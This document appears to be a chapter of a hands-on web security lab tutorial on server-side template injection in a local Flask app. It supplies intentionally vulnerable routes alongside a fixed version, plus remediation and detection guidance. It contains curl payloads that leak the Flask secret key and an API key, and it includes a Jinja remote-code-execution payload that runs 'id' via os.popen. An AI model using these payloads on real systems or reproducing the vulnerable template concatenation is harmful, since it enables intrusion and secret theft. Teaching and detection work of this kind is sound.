This example uses the shared Flask lab.
We plug SSTI in as the eighth web module.
Complete the Chapter III Introduction setup first. The base app.py, schema.sql, seed.sql, and database.db must already exist.
The flow is:
create modules/ssti.py
register the blueprint in app.py
restart Flask
visit /ssti/basic
The SSTI module provides four pages:
/ssti/basic
/ssti/blacklist
/ssti/better
/ssti/fixed
The vulnerable sink is the Name field.
In the vulnerable versions, the application places the Name value inside a template source string before Jinja renders it. That means {{ 7 * 7 }} becomes template code.
In the fixed version, the application keeps the template server-owned and passes Name as data. That means {{ 7 * 7 }} prints literally.
Expected behavior:
/ssti/basic {{ 7 * 7 }} evaluates to 49
/ssti/blacklist {{ 7 * 7 }} evaluates to 49 because the blacklist is bypassable
/ssti/better {{ 7 * 7 }} still evaluates to 49 because sandboxing is not the fix
/ssti/better {{ profile.api_key }} leaks a context value
/ssti/fixed {{ 7 * 7 }} prints literally
The fixed route is the only route where {{ 7 * 7 }} should not evaluate.
Plug In The Module
From the lab directory (disregard if you have already done this):
cd ~/ootw-web-lab
source .venv/bin/activate
mkdir -p modules
touch modules/__init__.py
Create modules/ssti.py:
cat > modules/ssti.py <<'EOF'
from flask import Blueprint, abort, redirect, render_template_string, request
from jinja2 import TemplateError
from jinja2.sandbox import SandboxedEnvironment, SecurityError
from app import get_db
bp = Blueprint("ssti", __name__, url_prefix="/ssti")
SAFE_TEMPLATES = {
"receipt": "Hello {{ name }}, order {{ order_id }} totals {{ total }}.",
"shipping": "Hello {{ name }}, order {{ order_id }} is ready for dispatch.",
}
STAGE_GUIDANCE = {
"basic": {
"payload": "{{ 7 * 7 }}",
"expected": "Output contains: Hello 49,",
"meaning": "This proves the Name value became Jinja template source.",
},
"blacklist": {
"payload": "{{ 7 * 7 }}",
"expected": "Output contains: Hello 49,",
"meaning": "The exact blacklist can be bypassed with a harmless spelling change.",
},
"better": {
"payload": "{{ profile.api_key }}",
"expected": "Output contains: Hello ootw-ssti-demo-key,",
"meaning": "The sandbox still evaluates templates and still exposes sensitive context.",
},
"fixed": {
"payload": "{{ 7 * 7 }}",
"expected": "Output contains the literal text: Hello {{ 7 * 7 }}",
"meaning": "This is the only route where the payload should not evaluate.",
},
}
PAGE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>{{ title }}</title>
<style>
body { font-family: system-ui, sans-serif; max-width: 1000px; margin: 40px auto; line-height: 1.5; }
nav a { margin-right: 12px; }
label { display: block; margin-top: 12px; }
input { width: 100%; padding: 7px; box-sizing: border-box; }
button { margin-top: 12px; padding: 7px 10px; }
pre { background: #111; color: #eee; padding: 12px; overflow-x: auto; white-space: pre-wrap; }
code { background: #eee; padding: 2px 4px; }
</style>
</head>
<body>
<h1>{{ title }}</h1>
<nav>
<a href="/ssti/basic">basic</a>
<a href="/ssti/blacklist">blacklist</a>
<a href="/ssti/better">better</a>
<a href="/ssti/fixed">fixed</a>
<a href="/ssti/audit">audit</a>
</nav>
<p>{{ description }}</p>
{% if guidance %}
<h2>Stage Goal</h2>
<p><strong>Payload:</strong> <code>{{ guidance.payload }}</code></p>
<p><strong>Expected:</strong> {{ guidance.expected }}</p>
<p>{{ guidance.meaning }}</p>
{% endif %}
<form method="post" action="/ssti/{{ stage }}">
<label for="name">Name</label>
<input id="name" name="name" value="{{ name }}">
{% if fixed_mode %}
<label for="template_id">Template ID</label>
<input id="template_id" name="template_id" value="{{ template_id }}">
{% endif %}
<button type="submit">Render</button>
</form>
{% if template_source %}
<h2>Template Source</h2>
<pre>{{ template_source }}</pre>
{% endif %}
{% if error %}
<h2>Error</h2>
<pre>{{ error }}</pre>
{% endif %}
{% if output is not none %}
<h2>Output</h2>
<pre>{{ output }}</pre>
{% endif %}
</body>
</html>
"""
AUDIT_PAGE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>SSTI Audit</title>
</head>
<body>
<h1>SSTI Audit</h1>
<p>This page shows recent template rendering events from the local lab.</p>
<p><a href="/ssti/basic">back to SSTI lab</a></p>
{% for event in events %}
<article>
<p><strong>{{ event["event_type"] }}</strong> - {{ event["username"] }}</p>
<pre>{{ event["detail"] }}</pre>
<small>{{ event["created_at"] }}</small>
</article>
{% else %}
<p>No SSTI events yet.</p>
{% endfor %}
</body>
</html>
"""
def template_context(name):
return {
"name": name,
"order_id": "ORD-1042",
"total": "$19.99",
"profile": {
"username": "operator",
"email": "operator@ootw.local",
"api_key": "ootw-ssti-demo-key",
},
}
def build_vulnerable_template(name):
return "Hello " + name + ",\n\nOrder {{ order_id }} totals {{ total }}."
def render_unsafe(template_source, context):
try:
return render_template_string(template_source, **context), None
except TemplateError as error:
return "", str(error)
def render_sandboxed(template_source, context):
try:
env = SandboxedEnvironment(autoescape=True)
rendered = env.from_string(template_source).render(**context)
return rendered, None
except (TemplateError, SecurityError) as error:
return "", str(error)
def weak_blacklist(value):
value = value.replace("{{7*7}}", "")
value = value.replace("{{ config }}", "")
value = value.replace("{{config}}", "")
return value
def log_render(stage, template_source, output, error):
has_markers = ("{{" in template_source) or ("{%" in template_source)
detail = (
f"stage={stage} "
f"markers={has_markers} "
f"error={error or 'none'} "
f"template_preview={template_source[:300]} "
f"output_preview={(output or '')[:500]}"
)
db = get_db()
db.execute(
"""
INSERT INTO audit_log (event_type, username, detail)
VALUES (?, ?, ?)
""",
(f"ssti-{stage}", "operator", detail),
)
db.commit()
def render_lab(
stage,
title,
description,
name,
template_source=None,
output=None,
error=None,
fixed_mode=False,
template_id="receipt",
):
return render_template_string(
PAGE,
stage=stage,
title=title,
description=description,
name=name,
guidance=STAGE_GUIDANCE.get(stage),
template_source=template_source,
output=output,
error=error,
fixed_mode=fixed_mode,
template_id=template_id,
)
@bp.get("/")
def index():
return redirect("/ssti/basic")
@bp.route("/basic", methods=["GET", "POST"])
def basic():
name = request.form.get("name", "operator")
template_source = build_vulnerable_template(name)
output = None
error = None
if request.method == "POST":
output, error = render_unsafe(template_source, template_context(name))
log_render("basic", template_source, output, error)
return render_lab(
"basic",
"SSTI Basic",
"The route concatenates Name into a Jinja template source, then renders it. Arithmetic should evaluate here.",
name,
template_source,
output,
error,
)
@bp.route("/blacklist", methods=["GET", "POST"])
def blacklist():
name = request.form.get("name", "operator")
filtered_name = weak_blacklist(name)
template_source = build_vulnerable_template(filtered_name)
output = None
error = None
if request.method == "POST":
output, error = render_unsafe(template_source, template_context(name))
log_render("blacklist", template_source, output, error)
return render_lab(
"blacklist",
"SSTI Weak Blacklist",
"The route removes a few exact strings from Name, then still renders it as template source. The blacklist is bypassable.",
name,
template_source,
output,
error,
)
@bp.route("/better", methods=["GET", "POST"])
def better():
name = request.form.get("name", "operator")
template_source = build_vulnerable_template(name)
output = None
error = None
if request.method == "POST":
output, error = render_sandboxed(template_source, template_context(name))
log_render("better", template_source, output, error)
return render_lab(
"better",
"SSTI Better Sandboxed Rendering",
"The route uses a Jinja sandbox. Arithmetic still evaluates; the remaining bug is sensitive context exposure.",
name,
template_source,
output,
error,
)
@bp.route("/fixed", methods=["GET", "POST"])
def fixed():
name = request.form.get("name", "operator")
template_id = request.form.get("template_id", "receipt")
output = None
error = None
template_source = SAFE_TEMPLATES.get(template_id)
if template_source is None:
log_render("fixed", template_id, "", "blocked-template-id")
abort(400)
if request.method == "POST":
output, error = render_unsafe(template_source, template_context(name))
log_render("fixed", template_source, output, error)
return render_lab(
"fixed",
"SSTI Fixed",
"The route renders a server-owned template and passes Name as data. Template markers should print literally here.",
name,
template_source,
output,
error,
fixed_mode=True,
template_id=template_id,
)
@bp.get("/audit")
def audit():
db = get_db()
events = db.execute(
"""
SELECT event_type, username, detail, created_at
FROM audit_log
WHERE event_type LIKE 'ssti-%'
ORDER BY id DESC
LIMIT 30
"""
).fetchall()
return render_template_string(AUDIT_PAGE, events=events)
EOF
Now register the module in app.py.
Add this near the bottom of app.py, after the route definitions and before the if __name__ == "__main__": block:
from modules.ssti import bp as ssti_bp
app.register_blueprint(ssti_bp)
If the earlier web modules are already plugged in, keep those lines and add SSTI below them:
from modules.xss import bp as xss_bp
app.register_blueprint(xss_bp)
from modules.idor import bp as idor_bp
app.register_blueprint(idor_bp)
from modules.command_injection import bp as command_injection_bp
app.register_blueprint(command_injection_bp)
from modules.file_uploads import bp as file_uploads_bp
app.register_blueprint(file_uploads_bp)
from modules.lfi import bp as lfi_bp
app.register_blueprint(lfi_bp)
from modules.sqli import bp as sqli_bp
app.register_blueprint(sqli_bp)
from modules.xxe import bp as xxe_bp
app.register_blueprint(xxe_bp)
from modules.ssti import bp as ssti_bp
app.register_blueprint(ssti_bp)
Run the app:
flask --app app run --host 127.0.0.1 --port 5000
Confirm the module is live:
curl -i "http://127.0.0.1:5000/ssti/basic"
Basic Vulnerability
Open:
http://127.0.0.1:5000/ssti/basic
The vulnerable code is:
template_source = "Hello " + name + ",\n\nOrder {{ order_id }} totals {{ total }}."
render_template_string(template_source, **context)
The bug is not Jinja itself. The bug is that user input becomes part of the template source.
Normal request:
curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
--data-urlencode "name=operator"
The server builds this template source:
Hello operator,
Order {{ order_id }} totals {{ total }}.
Exploit expression evaluation:
curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
--data-urlencode "name={{ 7 * 7 }}"
The server builds this template source:
Hello {{ 7 * 7 }},
Order {{ order_id }} totals {{ total }}.
The output contains:
Hello 49,
This proves server-side template evaluation from the Name field.
Exploit configuration disclosure:
curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
--data-urlencode 'name={{ config["SECRET_KEY"] }}'
The output contains the lab Flask secret key.

Why The Fixed Version Behaves Differently
This safe pattern does not create SSTI:
render_template_string("Hello {{ name }}", name=user_supplied_name)
If user_supplied_name is {{ 7 * 7 }}, Jinja prints it as text.
The user controls data, not the template source.
This unsafe pattern creates SSTI:
template_source = "Hello " + user_supplied_name
render_template_string(template_source)
If user_supplied_name is {{ 7 * 7 }}, Jinja evaluates it as template code.
The user controls the template source.
Basic Protection - Weak Blacklist
Open:
http://127.0.0.1:5000/ssti/blacklist
This page removes a few exact strings:
value = value.replace("{{7*7}}", "")
value = value.replace("{{ config }}", "")
value = value.replace("{{config}}", "")
That damages a few obvious payloads.
It does not make template rendering safe.
Blocked exact string:
curl -i -X POST "http://127.0.0.1:5000/ssti/blacklist" \
--data-urlencode "name={{7*7}}"
Bypass with harmless spacing:
curl -i -X POST "http://127.0.0.1:5000/ssti/blacklist" \
--data-urlencode "name={{ 7 * 7 }}"
Bypass with a more specific expression:
curl -i -X POST "http://127.0.0.1:5000/ssti/blacklist" \
--data-urlencode 'name={{ config["SECRET_KEY"] }}'
The blacklist blocks spellings. It does not remove the dangerous behavior.
Better Protection - Sandboxed Rendering
Open:
http://127.0.0.1:5000/ssti/better
This page uses Jinja's sandbox:
env = SandboxedEnvironment(autoescape=True)
env.from_string(template_source).render(**context)
That blocks many dangerous attribute-access paths.
It does not make attacker-controlled templates safe when sensitive objects are still passed into the context.
Important: {{ 7 * 7 }} returning 49 is still expected on this page.
The sandbox does not mean "no template evaluation." It means "template evaluation with restricted access to dangerous internals." Arithmetic, variables, filters, and exposed context can still work.
Exploit context disclosure:
curl -i -X POST "http://127.0.0.1:5000/ssti/better" \
--data-urlencode "name={{ profile.api_key }}"
The output contains:
ootw-ssti-demo-key
The sandbox reduced some impact. The application still handed sensitive data to attacker-controlled template source.
Fixed Version
Open:
http://127.0.0.1:5000/ssti/fixed
The fixed page does two things:
- It lets the user choose only an allowlisted server-owned template.
- It passes user input as data, not template source.
The safe template map:
SAFE_TEMPLATES = {
"receipt": "Hello {{ name }}, order {{ order_id }} totals {{ total }}.",
"shipping": "Hello {{ name }}, order {{ order_id }} is ready for dispatch.",
}
Run a normal request:
curl -i -X POST "http://127.0.0.1:5000/ssti/fixed" \
--data-urlencode "name=operator" \
--data-urlencode "template_id=receipt"
Run the original expression as the name:
curl -i -X POST "http://127.0.0.1:5000/ssti/fixed" \
--data-urlencode "name={{ 7 * 7 }}" \
--data-urlencode "template_id=receipt"
The output displays:
Hello {{ 7 * 7 }}
It does not evaluate the expression because the user-controlled value is data.
![[Chapter III - Web/8. SSTI/Fixed.png]]
Local Impact Proof
Use the vulnerable route to prove template execution:
curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
--data-urlencode 'name={{ config["SECRET_KEY"] }}'
For a local lab-only command proof:
curl -i -X POST "http://127.0.0.1:5000/ssti/basic" \
--data-urlencode "name={{ cycler.__init__.__globals__.os.popen('id').read() }}"
Then view:
http://127.0.0.1:5000/ssti/audit
The audit page shows whether template markers were present and includes the template and output previews.
This proves the useful impact:
stage=basic
markers=True
error=none
The application did not need SQL injection, XSS, or file upload. It turned a normal text field into server-side template code.

Remediation
Patch SSTI by separating templates from data:
- Do not render user input as a template.
- Keep templates server-owned.
- Pass user input into templates as data.
- Use strict allowlists for template IDs.
- Keep
config, request internals, secrets, and powerful objects out of user-editable templates. - Treat sandboxing as defense-in-depth, not the primary boundary.
- Disable dangerous template features where possible.
- Log template syntax errors and suspicious template markers.
Safe pattern:
template = SAFE_TEMPLATES.get(template_id)
if template is None:
abort(400)
render_template_string(template, name=user_supplied_name)
The user can control data. The user cannot control the template source.
Detection
Useful signals include:
- Inputs containing
{{,{%,${,<%, or#{. - Template syntax errors in user-facing features.
- Repeated arithmetic probes such as
{{ 7 * 7 }}. - Requests containing
config,request,session,__, or template engine globals. - Sandbox
SecurityErrorevents. - Template preview features returning configuration values.
- User-editable fields producing unexpected template output.
Useful payload indicators:
{{ 7 * 7 }}
{{ config }}
{{ request }}
__globals__
__class__
cycler
popen
{%
%}
Detection is not the fix. It shows which template boundaries are being tested and where user input is being treated as template code.